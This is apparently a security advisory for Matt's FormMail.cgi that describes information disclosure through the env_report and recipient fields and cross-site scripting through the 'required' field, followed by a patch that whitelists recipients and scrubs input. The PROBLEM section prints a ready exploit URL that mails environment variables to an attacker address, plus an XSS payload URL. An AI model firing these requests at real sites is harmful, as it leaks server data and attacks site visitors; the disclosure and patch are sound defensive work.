COMMAND
FormMail.cgi
SYSTEMS AFFECTED
Matt's FormMail.cgi
PROBLEM
Following is based on Black Watch Labs Advisory. The script
allows several environment variables to be viewed by the
attacker, who can gain useful information on the site, making
further attacks more feasible.
FormMail contains a debug field named "env_report", whose value is
a list of environment variables (accessed via $ENV[name])
separated by commas. These variables (if they exist) are embedded
into the message body. Furthermore, the script does not check the
integrity of the recipient, thus the recipient field can be
changed, so the message will be sent to the attacker’s account.
Thus the attacker can gain the environment information.
As for exploit, assume the URL for the script is
http://www.formmail.site/cgi-bin/formmail.cgi
then to get the PATH environment parameter (i.e. to send it to
account: attacker@attacker.site), all there is to do is to request
the following URL:
http://www.formmail.site/cgibin/formmail.cgi?env_report=PATH&recipient=attacker@attacker.site&required=&firstname=&lastname=&email=&message=&Submit=Submit
It also appears to be vulnerable to cross-site scripting problems.
Hint: hack the 'required' config, e.g.
http://victim.example.com/formmail.cgi?required=<a+href%3d'javascript%3aalert("hello")%3b'>hello</a>&recipient=foo
SOLUTION
Many of these scripts are also Perl-based, which means auditing
and correcting them are easy. Anybody who's not auditing and
tweaking freebie scripts like this one needs to rethink their Web
app procedures. Some patches:
--- formmail.cgi.orig Wed May 10 23:34:09 2000
+++ formmail.cgi Thu May 11 00:14:22 2000
@@ -34,6 +34,13 @@
@referers = ('worldwidemart.com','206.31.72.203');
+# @validrecipients limits what email addresses can receive form submissions;
+# this should be an array of regular expressions. Note that the recipient
+# value should contain only one Internet email address; use an alias or
+# hack the script more if you need/want multiple recipients for one form
+
+@validrecipients = ( '^[a-z]{1,}\@goodguys\.example\.com$' );
+
# Done #
##############################################################################
@@ -175,10 +182,16 @@
# names or environment variables. #
$Config{'required'} =~ s/(\s+|\n)?,(\s+|\n)?/,/g;
$Config{'required'} =~ s/(\s+)?\n+(\s+)?//g;
+ # required fields should have alphanumeric names; this
+ # helps combat cross-site scripting probs in &error()
+ $Config{'required'} =~ s/[^a-zA-Z0-9\_]//gs;
$Config{'env_report'} =~ s/(\s+|\n)?,(\s+|\n)?/,/g;
$Config{'env_report'} =~ s/(\s+)?\n+(\s+)?//g;
$Config{'print_config'} =~ s/(\s+|\n)?,(\s+|\n)?/,/g;
$Config{'print_config'} =~ s/(\s+)?\n+(\s+)?//g;
+ # missing_fields_redirect should not be used to add arbitrary server
+ # headers, etc.; scrub its contents
+ $Config{'missing_fields_redirect'} =~ s/[^a-zA-Z0-9\_\:\/\-]//gs;
# Split the configuration variables into individual field names. #
@Required = split(/,/,$Config{'required'});
@@ -194,6 +207,18 @@
if (!$Config{'recipient'}) {
if (!defined(%Form)) { &error('bad_referer') }
else { &error('no_recipient') }
+ } else {
+ # have recipient; is it OK?
+ $recipientOK = 0;
+ foreach $possibleRecipient ( @validrecipients ) {
+ if ( $Config{'recipient'} =~ /$possibleRecipient/i ) {
+ $recipientOK = 1;
+ last;
+ }
+ }
+ if ( $recipientOK != 1 ) {
+ &error('no_recipient');
+ }
}
# For each require field defined in the form: #
@@ -570,10 +595,10 @@
<body bgcolor=#FFFFFF text=#000000>
<center>
<table border=0 width=600 bgcolor=#9C9C9C>
- <tr><th><font size=+2>Error: No Recipient</font></th></tr>
+ <tr><th><font size=+2>Error: No Valid Recipient</font></th></tr>
</table>
<table border=0 width=600 bgcolor=#CFCFCF>
- <tr><td>No Recipient was specified in the data sent to FormMail. Please
+ <tr><td>No Valid Recipient was specified in the data sent to FormMail. Please
make sure you have filled in the 'recipient' form field with an e-mail
address. More information on filling in recipient form fields can be
found in the README file.<hr size=1>